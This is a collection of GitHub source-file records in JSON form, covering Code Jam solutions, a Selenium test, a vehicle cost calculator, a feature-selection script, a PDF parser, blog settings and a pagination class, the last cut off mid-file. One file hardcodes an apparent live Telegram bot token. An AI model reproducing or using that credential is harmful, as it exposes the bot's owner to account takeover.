+{"seq_id":"23578524151","text":"from __future__ import division\n\nT = int(input())\nfor TC in range(1, T + 1):\n case = raw_input().split()\n D = int(case[0])\n N = int(case[1])\n res = 0\n for n in range(N):\n horse = raw_input().split()\n K_i = int(horse[0])\n S_i = int(horse[1])\n spd = (D - K_i) / S_i\n res = max(res, spd)\n print(\"Case #%d: %.6f\" % (TC, D / res))","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_206/1246.py","file_name":"1246.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"45101351220","text":"# -*- coding: utf-8\nfrom selenium import webdriver\nfrom settings import chrome_driver_bin_path\nimport time, pytest\n\n\nlink_on_reg_form1 = \"http://suninjuly.github.io/registration1.html\"\nrequired_css_selectors_list1 = ['input[placeholder=\"Input your first name\"]',\n 'input[placeholder=\"Input your last name\"]',\n 'input[placeholder=\"Input your email\"]']\n\n\nlink_on_reg_form2 = \"http://suninjuly.github.io/registration2.html\"\nrequired_css_selectors_list2 = ['input[placeholder=\"Input your name\"]',\n 'input[placeholder=\"Input your last name\"]',\n 'input[placeholder=\"Input your email\"]']\n\n\nclass Application:\n def __init__(self):\n self.wd = webdriver.Chrome(executable_path=chrome_driver_bin_path)\n self.wd.implicitly_wait(60)\n\n def open_page(self, link):\n wd = self.wd\n wd.get(link)\n\n def destroy(self):\n self.wd.quit()\n\n def check_successfull_registration(self):\n welcome_text_elt = self.wd.find_element_by_tag_name(\"h1\")\n welcome_text = welcome_text_elt.text\n assert \"Congratulations! You have successfully registered!\" == welcome_text\n\n def push_submit_button(self):\n button = self.wd.find_element_by_css_selector(\"button.btn\")\n button.click()\n\n def fill_form_wrong_solution(self, css_list):\n for css_selector in css_list:\n element = self.wd.find_element_by_css_selector(css_selector)\n element.send_keys(\"text_sample\")\n\n\n@pytest.fixture\ndef app(request):\n fixture = Application()\n request.addfinalizer(fixture.destroy)\n return fixture\n\n\ndef test_registration1(app):\n app.open_page(link_on_reg_form1)\n app.fill_form_wrong_solution(required_css_selectors_list1)\n app.push_submit_button()\n time.sleep(1)\n app.check_successfull_registration()\n time.sleep(10)\n app.destroy()\n\n\n# по заданию в степике - второй тест должен отваливаится\ndef test_registration2(app):\n app.open_page(link_on_reg_form1)\n app.fill_form_wrong_solution(required_css_selectors_list2)\n app.push_submit_button()\n time.sleep(1)\n app.check_successfull_registration()\n time.sleep(10)\n app.destroy()\n","repo_name":"VadimDunin/stepik","sub_path":"Autotests_with_Selenium_and_Python/lesson33_step3.py","file_name":"lesson33_step3.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33140895744","text":"from pprint import pprint\nimport requests\n\nbot_token = \"527773154:AAGWCJJmg9s70uZi4GF3V5d0AIcDUt0IzYg\"\ntest_url = \"https://a295a44f.ngrok.io/{}\".format(bot_token)\n\ndef get_url(method):\n return \"https://api.telegram.org/bot{}/{}\".format(bot_token,method)\n\nr = requests.get(get_url(\"setWebhook\"), data={\"url\": test_url})\nr = requests.get(get_url(\"getWebhookInfo\"))\npprint(r.status_code)\npprint(r.json())\n","repo_name":"Randy1005/TOC_chatbot","sub_path":"webhook.py","file_name":"webhook.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21676336320","text":"# Importer les données \nimport pandas as pd\ndf_ve = pd.read_csv('Csv après traitement/df_ve_clean.csv')\ndf_region = pd.read_csv('Csv après traitement/df_region_clean.csv')\ndf_entretien = pd.read_csv('Csv après traitement/df_entretien_clean.csv')\ndf_vt = pd.read_csv('Csv après traitement/df_vt_clean.csv')\n\n## Calcul des indicateurs pour la voiture Thermique ## \n\n# Definir la fonction cost_vt\n# return price_vt = le prix d'achat moyen pour la categorie de VT selectionnée\ndef cost_vt (categorie):\n mod = df_vt['categorie_vt'].str.contains(categorie)\n price_vt = df_vt['prix_moyen_categorie'][list(df_vt['categorie_vt']).index(categorie)]\n return price_vt\n\n# Pas d'aides allouées pour les véhicules thermiques #\n\n\n# Définir la fonction cartegrise_cost_vt \n# return total_cartegrise_cost_vt == le prix de la CG pour la categorie de VT concernée\ndef cartegrise_cost_vt(statut,region_name, categorie):\n taxe_regionale = df_region['montant_taxe_region_vt'][list(df_region['region']).index(region_name)] * (df_vt['CV_categorie'][list(df_vt['categorie_vt']).index(categorie)])\n taxe_fixe = df_region['taxe_fixe'][list(df_region['region']).index(region_name)]\n frais_supp = df_region['frais_supp'][list(df_region['region']).index(region_name)]\n taxe_pro = df_region['taxe_pro'][list(df_region['region']).index(region_name)]\n if statut ==\"particulier\":\n total_cartegrise_cost_vt = taxe_regionale + taxe_fixe + frais_supp\n elif statut ==\"professionnel\":\n total_cartegrise_cost_vt = taxe_regionale + taxe_fixe + frais_supp + taxe_pro\n return total_cartegrise_cost_vt\n\n# Definir la fonction calcul_tvs_vt \n# return tvs_vt == prix estimé pour la tvs / an \ndef calcul_tvs_vt(statut, categorie):\n if statut == 'professionnel' :\n premiere_composante = df_vt['tvs_moyenne_un'][list(df_vt['categorie_vt']).index(categorie)]\n deuxieme_composante = df_vt['tvs_seconde_composante'][list(df_vt['categorie_vt']).index(categorie)]\n tvs_vt = int(premiere_composante + deuxieme_composante)\n else :\n tvs_vt = 0\n return tvs_vt \n\n# Definir la fonction carburant_cost\n# return total_carburant_cost == prix estimé du carburant / 1 an pour un VT \ndef carburant_cost_vt (categorie, profil):\n cout = df_vt['conso_100km_categorie'][list(df_vt['categorie_vt']).index(categorie)]\n if profil == 30000:\n total_carburant_cost = round((cout/100) * 30000,2)\n elif profil == 20000:\n total_carburant_cost = round((cout/100) * 20000,2)\n else:\n total_carburant_cost = round((cout/100) * 15000,2)\n return total_carburant_cost\n\n# Definir la fonction prix_stationnement_vt\n# return : prix_vt = prix du stationnement / vt / 1 an / region\ndef prix_stationnement_vt(region_name):\n prix_vt = df_region['prix_stationnement_vt'][list(df_region['region']).index(region_name)]\n return prix_vt\n\n# Definir la fonction entretien_cost_vt\n# total_entretien_vt == cout de l'entretien / 5 ans / vt\ndef entretien_cost_vt (profil):\n if profil == 30000:\n total_entretien_vt = df_entretien.loc[1,['R1','R2','R3','R4','R5','CT']].sum()\n elif profil == 20000:\n total_entretien_vt= df_entretien.loc[1,['R1','R2','R3','CT']].sum()\n elif profil == 15000:\n total_entretien_vt = df_entretien.loc[1,['R1','R2','CT']].sum()\n return total_entretien_vt\n\n# Definir la fonction impact_co2_vt \n# return total_co2 == emission de co2 moyennes pour la categorie de vt exprimé en tonnes / an\n# paris_ny == equivalent A/R paris-NY en avion (round à l'entier supérieur) \n\ndef impact_co2_vt (categorie,profil):\n cat = df_vt['categorie_vt'].str.contains(categorie)\n conso_co2 = df_vt['co2_categorie'][list(df_vt['categorie_vt']).index(categorie)]\n if profil == 30000:\n total_co2_vt = conso_co2 * 30000\n paris_ny = round(total_co2_vt/1000000)\n elif profil == 20000:\n total_co2_vt = conso_co2 * 20000\n paris_ny = round(total_co2_vt/1000000)\n elif profil == 15000:\n total_co2_vt = conso_co2 * 15000\n paris_ny = round(total_co2_vt/1000000)\n return total_co2_vt/1000000, paris_ny\n\n## Calcul du TCO pour la voiture Thermique \n# tco_vt == Total Cost of Ownership / 5 ans moyen (pour la categorie de voiture Thermique)\ndef calcul_tco_vt(categorie, region_name, statut,profil):\n price = cost_vt(categorie)\n aides_vt = 0 # jamais d'aides pour les Véhicules Thermiques\n cg_cost = cartegrise_cost_vt(statut,region_name, categorie)\n carburant = carburant_cost_vt(categorie,profil)\n stationnement = prix_stationnement_vt(region_name)\n entretien = entretien_cost_vt(profil)\n tvs = calcul_tvs_vt(statut, categorie)\n tco_vt = round((price - aides_vt) + cg_cost + (carburant*5) + (stationnement*5) + (entretien) + (tvs*5),2)\n return tco_vt\n\n# Définir la fonction impact_co2_vt \n# return total_co2_vt == emission de co2 moyennes pour la categorie de vt exprimé en tonnes / an\n# paris_ny == equivalent A/R paris-NY en avion (round à l'entier supérieur) \n\ndef impact_co2_vt (categorie,profil):\n cat = df_vt['categorie_vt'].str.contains(categorie)\n conso_co2 = df_vt['co2_categorie'][list(df_vt['categorie_vt']).index(categorie)]\n if profil == 30000:\n total_co2_vt = conso_co2 * 30000\n paris_ny = round(total_co2_vt/1000000)\n elif profil == 20000:\n total_co2_vt = conso_co2 * 20000\n paris_ny = round(total_co2_vt/1000000)\n elif profil == 15000:\n total_co2_vt = conso_co2 * 15000\n paris_ny = round(total_co2_vt/1000000)\n return total_co2_vt/1000000, paris_ny\n\n## Calcul des indicateurs pour la voiture Electrique ## \n\n# Definir la fonction cost_ve\n# return price_ve = le prix d'achat pour 1 modèle de VE\ndef cost_ve (modele):\n mod = df_ve['modele_ve'].str.contains(modele)\n price_ve = df_ve['cout_achat'][list(df_ve['modele_ve']).index(modele)]\n return price_ve\n\n# Definir la fonction calcul_aides\n# return bonus_eco == valeur nationale\n# region_aides = montant variable en fonction de la région et/ou du statut \ndef calcul_aides(region_name,statut):\n region_aides = 0\n bonus_eco = df_region['bonus_eco'][0]\n if statut == 'professionnel' and df_region['aides_region_profesionnel'][list(df_region['region']).index(region_name)] == True :\n region_aides = df_region['montant_aides_pro'][list(df_region['region']).index(region_name)]\n else : \n region_aides = 0\n if statut == 'particulier' and df_region['aides_region_particulier'][list(df_region['region']).index(region_name)] == True :\n region_aides = df_region['montant_aides_part'][list(df_region['region']).index(region_name)]\n else : \n region_aides = 0\n return bonus_eco, region_aides\n\n# definir la fonction cartegrise_cost_ve\n# return total_cartegrise_cost_ve == total des frais a payer pour la carte grise d'un VE \ndef cartegrise_cost_ve(statut,region_name):\n taxe_regionale = df_region['montant_taxe_region_vt'][list(df_region['region']).index(region_name)] * 0\n taxe_fixe = df_region['taxe_fixe'][list(df_region['region']).index(region_name)]\n frais_supp = df_region['frais_supp'][list(df_region['region']).index(region_name)]\n taxe_pro = df_region['taxe_pro'][list(df_region['region']).index(region_name)]\n if statut ==\"particulier\":\n total_cartegrise_cost_ve = taxe_regionale + taxe_fixe + frais_supp\n elif statut ==\"professionnel\":\n total_cartegrise_cost_ve = taxe_regionale + taxe_fixe + frais_supp + taxe_pro\n return total_cartegrise_cost_ve\n\n# Pas de TVS à payer pour les véhicules électriques\n########\n\n# Pour le coût de la recharge\n# return total_cost == prix estimé de la recharge / 1 an pour un VE \ndef recharge_cost (modele, profil):\n mod = df_ve['modele_ve'].str.contains(modele)\n cout = df_ve['cout_de_la_recharge_100km'][list(df_ve['modele_ve']).index(modele)]\n if profil == 30000:\n total_cost = round((cout/100) * 30000,2)\n elif profil == 20000:\n total_cost = round((cout/100) * 20000,2)\n else:\n total_cost = round((cout/100) * 15000,2)\n return total_cost\n\n# Definir la fonction prix_stationnement_ve \n# return :\n # prix_ve == prix du stationnement / ve / 1 an / region\n # free_cities == Liste de villes avec stationenement gratuit pour les VE\n # pref_cities == Liste de villes avec stationnement a tarif préférentiel pour les VE\n# Si free_cities et/ou pref_cities ne contient pas de villes, \n# Valeur définie dans le df == Aucune ville dans votre région\ndef prix_stationnement_ve(region_name):\n prix_ve = df_region['prix_stationnement_ve'][list(df_region['region']).index(region_name)]\n free_cities = \"\"\n if free_cities != 'Aucune ville dans votre région':\n free_cities = df_region['ville_avec_gratuite_ve'][list(df_region['region']).index(region_name)]\n pref_cities = \"\"\n if pref_cities != 'Aucune ville dans votre région':\n pref_cities = df_region['ville_avec_tp_ve'][list(df_region['region']).index(region_name)]\n return prix_ve, free_cities, pref_cities\n\n# Definir entretien_cost_ve \n# total_entretien_ve == cout de l'entretien / 5 ans / ve\ndef entretien_cost_ve (profil):\n total_entretien_ve = 0\n if profil == 30000:\n total_entretien_ve = df_entretien.loc[0,['R1','R2','R3','R4','R5','CT']].sum()\n elif profil == 20000:\n total_entretien_ve = df_entretien.loc[0,['R1','R2','R3','CT']].sum()\n elif profil == 15000:\n total_entretien_ve = df_entretien.loc[0,['R1','R2','CT']].sum()\n return total_entretien_ve\n\n## Calcul du TCO pour la voiture Electrique \n\ndef tco_ve(modele, region_name, statut,profil):\n price = cost_ve(modele)\n bonus_eco = calcul_aides(region_name,statut)[0]\n aides_region = calcul_aides(region_name,statut)[1] \n cg_cost = cartegrise_cost_ve(statut,region_name)\n recharge = recharge_cost(modele,profil)\n tvs = 0\n stationnement = prix_stationnement_ve(region_name)[0]\n entretien = entretien_cost_ve (profil)\n tco = (price - (bonus_eco+ aides_region)) + cg_cost + (recharge*5) + (stationnement*5) + (entretien) + (tvs*5)\n return tco\n\n\n# Associer une categorie de VT à un modele de ve (A / B / C)\n# Modele_a\ndef select_model_a(categorie):\n modele_a = df_vt['modele_ve_a'][list(df_vt['categorie_vt']).index(categorie)]\n return modele_a\n# modele_b\ndef select_model_b(categorie):\n modele_b = df_vt['modele_ve_b'][list(df_vt['categorie_vt']).index(categorie)]\n return modele_b\n# modele_c\ndef select_model_c(categorie):\n modele_c = df_vt['modele_ve_c'][list(df_vt['categorie_vt']).index(categorie)]\n return modele_c\n\n","repo_name":"Richi1707/tco-test.github.io","sub_path":"TCO/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":10280,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22528124759","text":"\n# 56x45x25cm - Baggage allowance size on easy jet\n\n# Title - Survival Count on Random Subsmaples\n# Author - Michael Jones, UCL\n\n# Machine Learning Technique Used\n#----------------------------------\n# SCoRS (survival count on random subsamples), c.f. Rondina et al. 2014 - 'SCoRS - A Method Based on Stability for Feature Selection and Apping in Neuroimaging'\n#\n# Uses sub-sampling of data points as well as sub-sampling of features combined with Lasso to select features. This is applied many times and stable features are counted.\n\n# Hyperparameter selection\n#----------------------------------\n# Rondina et al. suggest using 10% of the data points and 0.5% of the features in each sub-sample loop.\n\n# Output:\n#----------------------------------\n# A set of stable features for the data set provided.\n\n\n\nimport numpy as np\nimport code\nimport sklearn\n\nfrom sklearn.linear_model import Lasso\nfrom sklearn.linear_model import RandomizedLasso\n\nfrom sklearn.linear_model import LogisticRegression\n\n#====================================================================================================================================================================================#\n# Parameters\n\n# Parameters for SCoRS\nNumber_of_loops = 100000\n\n# Subset of features Parameters\nStart_fraction_of_features = 0.0025\nFinal_fraction_of_features = 0.011\nSubset_fraction_of_features = 0.0025\n\n# Subset of data point of Parameters\nStart_size_Subset_example_size = 5\nFinal_size_Subset_example_size = 31\nSubset_example_size_intervals = 5\n\n# Data Parameters\nNumber_of_data_points_TB = 46\nNumber_of_data_points_Clear = 31\nNumber_of_data_points_Fever = 70\n\nNumber_of_data_points_Clear = Number_of_data_points_Clear + Number_of_data_points_Fever\n\n# LASSO regulariser range to test\nStart_lambda = 0.1\nFinal_lambda = 1.40\nLambda_Intervals = 0.25\n\n\n#====================================================================================================================================================================================#\n# Load training data\n\nData_cleaned = np.load('data.npy')#,dtype=None) # 13720, 117\nData_cleaned_Fever = np.load('data_1.npy')\nData_cleaned_Fever = np.transpose(Data_cleaned_Fever)\n\n\n\nX = np.transpose(Data_cleaned) # 116, 13718\n\n# Extract data dimensions\nNumber_of_data_points = np.shape(X)[0]\nNumber_of_features = np.shape(X)[1]\n\n# Split into infected patient data and uninfected patient data\n\nX_TB = X[0:Number_of_data_points_TB,:]\nX_Clear = X[Number_of_data_points_TB:,:]\nX_Fever = Data_cleaned_Fever[Number_of_data_points_TB:,:]\n\nX = np.concatenate([X_TB, X_Clear, X_Fever], axis=0)\n\nX_Clear = np.concatenate([X_Clear, X_Fever], axis=0)\nX = X.astype(np.float)\n\nX_Clear = X_Clear.astype(np.float)\n\n# Label infected patient data and uninfected patient data\n\n\n# Loop through data each time applying Lasso to a sub-sample of data and features\n\n\nfor zcount in np.arange(Start_fraction_of_features,Final_fraction_of_features,Subset_fraction_of_features):\n\n Subset_features_size = np.round(Number_of_features*zcount).astype(int)\n\n for mcount in np.arange(Start_size_Subset_example_size,Final_size_Subset_example_size,Subset_example_size_intervals):\n\n Y1 = np.ones([mcount,1])\n Y2 = np.zeros([mcount,1])\n Data_Sub_Sample_Y = np.concatenate((Y1, Y2), axis=0)\n\n for jcount in np.arange(Start_lambda,Final_lambda,Lambda_Intervals):\n\n # Set up counter for number of times features are selected\n\n Features_chosen_counter = np.zeros([1,Number_of_features])\n\n\n Features_chosen_counter_selected = np.zeros([1,Number_of_features])\n Features_chosen_counter_selected = np.reshape(Features_chosen_counter_selected,[-1,1])\n\n filename = 'FULL_Stability_Results_Fraction_2_' + str(zcount) + '_Subset_size_' + str(mcount) + '_Lambda_' + str(jcount)\n\n Storer_to_use_counter = 1\n\n for icount in range(0,Number_of_loops):\n\n print(icount)\n # Ramdomly select sub-sample of data points\n Chosen_example_samples_TB = np.random.random_integers(0,Number_of_data_points_TB-1,[mcount])\n Chosen_example_samples_Clear = np.random.random_integers(0,Number_of_data_points_Clear-1,[mcount])\n\n # Ramdomly select sub-sample of features\n\n Chosen_example_features = np.random.random_integers(0,np.round(Number_of_features)-1,[Subset_features_size])\n\n Features_chosen_counter_selected[Chosen_example_features] = Features_chosen_counter_selected[Chosen_example_features] + 1\n\n # Extract sub-samples\n Data_Sub_Sample_X_TB = X_TB[Chosen_example_samples_TB]\n Data_Sub_Sample_X_TB = Data_Sub_Sample_X_TB[:,Chosen_example_features]\n\n Data_Sub_Sample_X_Clear = X_Clear[Chosen_example_samples_Clear]\n Data_Sub_Sample_X_Clear = Data_Sub_Sample_X_Clear[:,Chosen_example_features]\n\n Data_Sub_Sample_X = np.concatenate((Data_Sub_Sample_X_TB, Data_Sub_Sample_X_Clear), axis=0)\n\n # Apply Lasso to sub-sample\n\n clf_l1_LR = LogisticRegression(C=jcount, penalty='l1', tol=0.01)\n\n clf_l1_LR.fit(Data_Sub_Sample_X,Data_Sub_Sample_Y)\n\n # Count non-features\n coefs = np.reshape(clf_l1_LR.coef_,[-1])\n Chosen_features_indexes = np.where(np.abs(coefs)>0)\n\n if np.sum(Chosen_features_indexes) != 0:\n\n Chosen_features = Chosen_example_features[Chosen_features_indexes]\n Features_chosen_counter[:,Chosen_features] = Features_chosen_counter[:,Chosen_features] + 1\n\n Features_chosen_counter_selected = np.transpose(Features_chosen_counter_selected)\n Features_chosen_counter = Features_chosen_counter/Features_chosen_counter_selected\n Features_chosen_counter = np.transpose(Features_chosen_counter)\n\n np.save(filename,Features_chosen_counter)\n\n# Output most significant feature and other significant features\n\nFeatures_chosen_counter_selected = np.transpose(Features_chosen_counter_selected)\n\nFeatures_chosen_counter = Features_chosen_counter/Features_chosen_counter_selected\n\nprint(np.argmax(Features_chosen_counter))\nprint(np.where(Features_chosen_counter>(0.84)))\n\n# Output names of most significant genes\nSignificant_features_indexes = np.where(Features_chosen_counter>(0.84))[1]\n\ncode.interact(local=dict(globals(), **locals()))\n","repo_name":"michaeljones4567/Master-Thesis","sub_path":"SCoRS.py","file_name":"SCoRS.py","file_ext":"py","file_size_in_byte":6495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23477146121","text":"T=int(input())\n\nfor t in range(1,T+1):\n\tN=int(input())\n\tseen=set()\n\tcount=0\n\twhile N!=0 and len(seen)<10:\n\t\tcount+=1\n\t\tn=count*N\n\t\ts=str(n)\n\t\tfor c in s:\n\t\t\tseen.add(c)\n\tres=\"INSOMNIA\" if len(seen)<10 else str(count*N)\n\tprint(\"Case #%s: %s\"%(t,res))","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_177/1423.py","file_name":"1423.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25825970608","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nimport sys\nimport importlib\nimportlib.reload(sys)\n\nfrom pdfminer.pdfparser import PDFParser,PDFDocument\nfrom pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter\nfrom pdfminer.converter import PDFPageAggregator\nfrom pdfminer.layout import LTTextBoxHorizontal,LAParams\nfrom pdfminer.pdfinterp import PDFTextExtractionNotAllowed\n\n\nfrom pymongo import MongoClient\nclient = MongoClient('mongodb://localhost:27017/')\ndb = client.invocies\ncollection = db.invocies\n\n'''\n 解析pdf 文本,保存到txt文件中\n'''\npdf_path = r't.pdf'\ntxt_path = '1.txt'\ndef parse():\n fp = open(pdf_path, 'rb') # 以二进制读模式打开\n #用文件对象来创建一个pdf文档分析器\n parser = PDFParser(fp)\n # 创建一个PDF文档\n doc = PDFDocument()\n # 连接分析器 与文档对象\n parser.set_document(doc)\n doc.set_parser(parser)\n\n # 提供初始化密码\n # 如果没有密码 就创建一个空的字符串\n doc.initialize()\n\n # 检测文档是否提供txt转换,不提供就忽略\n if not doc.is_extractable:\n raise PDFTextExtractionNotAllowed\n else:\n # 创建PDf 资源管理器 来管理共享资源\n rsrcmgr = PDFResourceManager()\n # 创建一个PDF设备对象\n laparams = LAParams()\n device = PDFPageAggregator(rsrcmgr, laparams=laparams)\n # 创建一个PDF解释器对象\n interpreter = PDFPageInterpreter(rsrcmgr, device)\n\n # 循环遍历列表,每次处理一个page的内容\n for page in doc.get_pages(): # doc.get_pages() 获取page列表\n interpreter.process_page(page)\n # 接受该页面的LTPage对象\n layout = device.get_result()\n # 这里layout是一个LTPage对象 里面存放着 这个page解析出的各种对象 一般包括LTTextBox, LTFigure, LTImage, LTTextBoxHorizontal 等等 想要获取文本就获得对象的text属性,\n with open(txt_path, 'w') as f:\n for x in layout:\n if (isinstance(x, LTTextBoxHorizontal)):\n results = x.get_text()\n f.write(results)\n\nif __name__ == '__main__':\n parse()\n file = open(txt_path, \"r\")\n lines = file.readlines()\n lines = [l.strip() for l in lines]\n pre = \"\"\n invoice = {}\n price = \"\"\n for l in lines:\n if l.endswith(\":\"):\n pre = l\n else:\n if pre != \"\":\n invoice[pre]=l\n pre = \"\"\n if l.startswith(\"(小写)\"):\n invoice[\"价格\"]= price\n price = l\n\n collection.insert_one(invoice)\n file.close()\n","repo_name":"melotusme/invoices","sub_path":"pdf_parser.py","file_name":"pdf_parser.py","file_ext":"py","file_size_in_byte":2680,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41756465400","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\n\nAUTHOR = u'Rahul Gaur (@aregee)'\nTAGLINE= u'Web | Linux | Open Source | G33K | Food | Booze'\nSITENAME = u'rahulgaur.info'\nSITEURL = 'http://myblog-rahulgaur.rhcloud.com'\n#SITEURL = 'http://192.168.1.35:8080'\nTIMEZONE = 'Asia/Kolkata'\n\n\nDEFAULT_LANG = u'en'\n\nTHEME = '/Users/aregee/Workspace/pelican-themes/svbhack/'\n\nUSER_LOGO_URL = SITEURL + '/images/image_1.jpeg'\nSTATIC_PATHS = [\"images\", \"pdfs\"]\n# Feed generation is usually not desired when developing\nFEED_ALL_ATOM = 'feeds/all.atom.xml'\nCATEGORY_FEED_ATOM = None\nTRANSLATION_FEED_ATOM = None\n\n# Blogroll\nLINKS = (('Resume', SITEURL + '/pdfs/rahulgaur.pdf'),)\n\n# Social widget\n#SOCIAL = (('GitHub', 'http://github.com/aregee'),\n# ('Twitter', 'http://twitter.com/iamaregee'),\n# ('email', 'mailto:rahul.nbg@gmail.com'),\n# ('Linkedin','http://www.linkedin.com/pub/rahul-gaur/20/b72/294'),)\n\n\nDEFAULT_PAGINATION = 10\n\n# Uncomment following line if you want document-relative URLs when developing\nRELATIVE_URLS = True\n","repo_name":"aregee/rahulgaur.info","sub_path":"pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75011358595","text":"import os\nimport numpy as np\nimport pandas as pd\n\nclass IdCounter:\n def __init__(self):\n self.psm_count = 0\n self.protein_count = 0\n\n\nclass SubintegrationMerger:\n def __init__(self, dest):\n self.counter = IdCounter()\n self.dest = dest\n self.first = True\n\n def _dump(self, df, dest):\n if self.first:\n df.to_csv(dest, index=False)\n else:\n df.to_csv(dest, index=False, header=False, mode=\"a\")\n\n def _process_sites(self, source):\n data = pd.read_csv(source)\n data.prot_id += self.counter.protein_count\n self._dump(data, os.path.join(self.dest, \"sites.csv\"))\n\n def _process_peptide_protein_links(self, source):\n data = pd.read_csv(source)\n data.pep_id += self.counter.psm_count\n data.prot_id += self.counter.protein_count\n self._dump(data, os.path.join(self.dest, \"peptide_protein.csv\"))\n\n def _process_peptide_modifications(self, source):\n data = pd.read_csv(source)\n data.pep_id += self.counter.psm_count\n self._dump(data, os.path.join(self.dest, \"peptide_modifications.csv\"))\n\n def _process_proteins(self, source):\n data = pd.read_csv(source)\n data.id += self.counter.protein_count\n self._dump(data, os.path.join(self.dest, \"proteins.csv\"))\n self.counter.protein_count = data.id.max()\n\n def _process_peptides(self, source):\n data = pd.read_csv(source)\n data.id += self.counter.psm_count\n self._dump(data, os.path.join(self.dest, \"peptides.csv\"))\n\n def _process_psms(self, source):\n data = pd.read_csv(source)\n data.id += self.counter.psm_count\n data.pep_id += self.counter.psm_count\n self._dump(data, os.path.join(self.dest, \"psms.csv\"))\n self.counter.psm_count = data.id.max()\n\n def process(self, source_list):\n source_list = np.sort(np.asarray(source_list))\n\n for source_path in source_list:\n # Easier for count tracking to process aux tables first\n self._process_sites(\n os.path.join(source_path, \"sites.csv\")\n )\n\n self._process_peptide_protein_links(\n os.path.join(source_path, \"peptide_protein.csv\")\n )\n\n self._process_peptide_modifications(\n os.path.join(source_path, \"peptide_modifications.csv\")\n )\n\n self._process_proteins(\n os.path.join(source_path, \"proteins.csv\")\n )\n\n self._process_peptides(\n os.path.join(source_path, \"peptides.csv\")\n )\n\n self._process_psms(\n os.path.join(source_path, \"psms.csv\")\n )\n\n self.first = False\n","repo_name":"AnthonyOfSeattle/Phosphopedia","sub_path":"integration_engine/merger.py","file_name":"merger.py","file_ext":"py","file_size_in_byte":2746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23620816332","text":"import time\nfrom openerp.report import report_sxw\nfrom openerp.osv import fields, osv, orm\n\nclass account_customer_invoice(report_sxw.rml_parse):\n def __init__(self, cr, uid, name, context):\n super(account_customer_invoice, self).__init__(cr, uid, name, context=context)\n self.total_qty = 0\n self.localcontext.update({\n 'time': time,\n 'set_qty':self.set_qty,\n 'get_total_qty':self.get_total_qty,\n 'get_branch_code':self.get_branch_code,\n })\n \n def get_branch_code(self,branch_id):\n branch_code = self.pool.get('res.branch').browse(self.cr,self.uid,branch_id.id).branch_code\n return branch_code\n \n def set_qty(self,qty):\n qty = int(qty)\n self.total_qty += qty\n return qty\n \n def get_total_qty(self):\n return self.total_qty\n \nreport_sxw.report_sxw(\n 'report.account.customer.invoice',\n 'account.invoice',\n 'account_customer_invoice_report/report/account_customer_invoice.rml',\n parser=account_customer_invoice,\n header=\"False\"\n)\n\nclass sale_order_line(osv.osv):\n _inherit = \"sale.order.line\"\n def _prepare_order_line_invoice_line(self, cr, uid, line, account_id=False, context=None):\n \"\"\"Prepare the dict of values to create the new invoice line for a\n sales order line. This method may be overridden to implement custom\n invoice generation (making sure to call super() to establish\n a clean extension chain).\n\n :param browse_record line: sale.order.line record to invoice\n :param int account_id: optional ID of a G/L account to force\n (this is used for returning products including service)\n :return: dict of values to create() the invoice line\n \"\"\"\n res = {}\n if not line.invoiced:\n if not account_id:\n if line.product_id:\n account_id = line.product_id.property_account_income.id\n if not account_id:\n account_id = line.product_id.categ_id.property_account_income_categ.id\n if not account_id:\n raise osv.except_osv(_('Error!'),\n _('Please define income account for this product: \"%s\" (id:%d).') % \\\n (line.product_id.name, line.product_id.id,))\n else:\n prop = self.pool.get('ir.property').get(cr, uid,\n 'property_account_income_categ', 'product.category',\n context=context)\n account_id = prop and prop.id or False\n uosqty = self._get_line_qty(cr, uid, line, context=context)\n uos_id = self._get_line_uom(cr, uid, line, context=context)\n pu = 0.0\n if uosqty:\n pu = round(line.price_unit * line.product_uom_qty / uosqty,\n self.pool.get('decimal.precision').precision_get(cr, uid, 'Product Price'))\n fpos = line.order_id.fiscal_position or False\n account_id = self.pool.get('account.fiscal.position').map_account(cr, uid, fpos, account_id)\n if not account_id:\n raise osv.except_osv(_('Error!'),\n _('There is no Fiscal Position defined or Income category account defined for default properties of Product categories.'))\n res = {\n 'name': line.name,\n 'sequence': line.sequence,\n 'origin': line.order_id.name,\n 'account_id': account_id,\n 'price_unit': pu,\n 'quantity': uosqty,\n 'discount': line.discount,\n 'uos_id': uos_id,\n 'product_id': line.product_id.id or False,\n 'invoice_line_tax_id': [(6, 0, [x.id for x in line.tax_id])],\n 'account_analytic_id': line.order_id.project_id and line.order_id.project_id.id or False,\n 'customer_po':line.customer_po or '',\n }\n return res\n\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n\n","repo_name":"browseinfo/7.0-fd-old","sub_path":"account_customer_invoice_report/report/account_invoice_report.py","file_name":"account_invoice_report.py","file_ext":"py","file_size_in_byte":4167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32706016951","text":"from rest_framework.pagination import PageNumberPagination\nfrom collections import OrderedDict\nfrom rest_framework.response import Response\n\nclass CustomPageNumberPagination(PageNumberPagination):\n #페이지 번호 쿼리 변수 설정\n page_query_param = 'pageIndex'\n 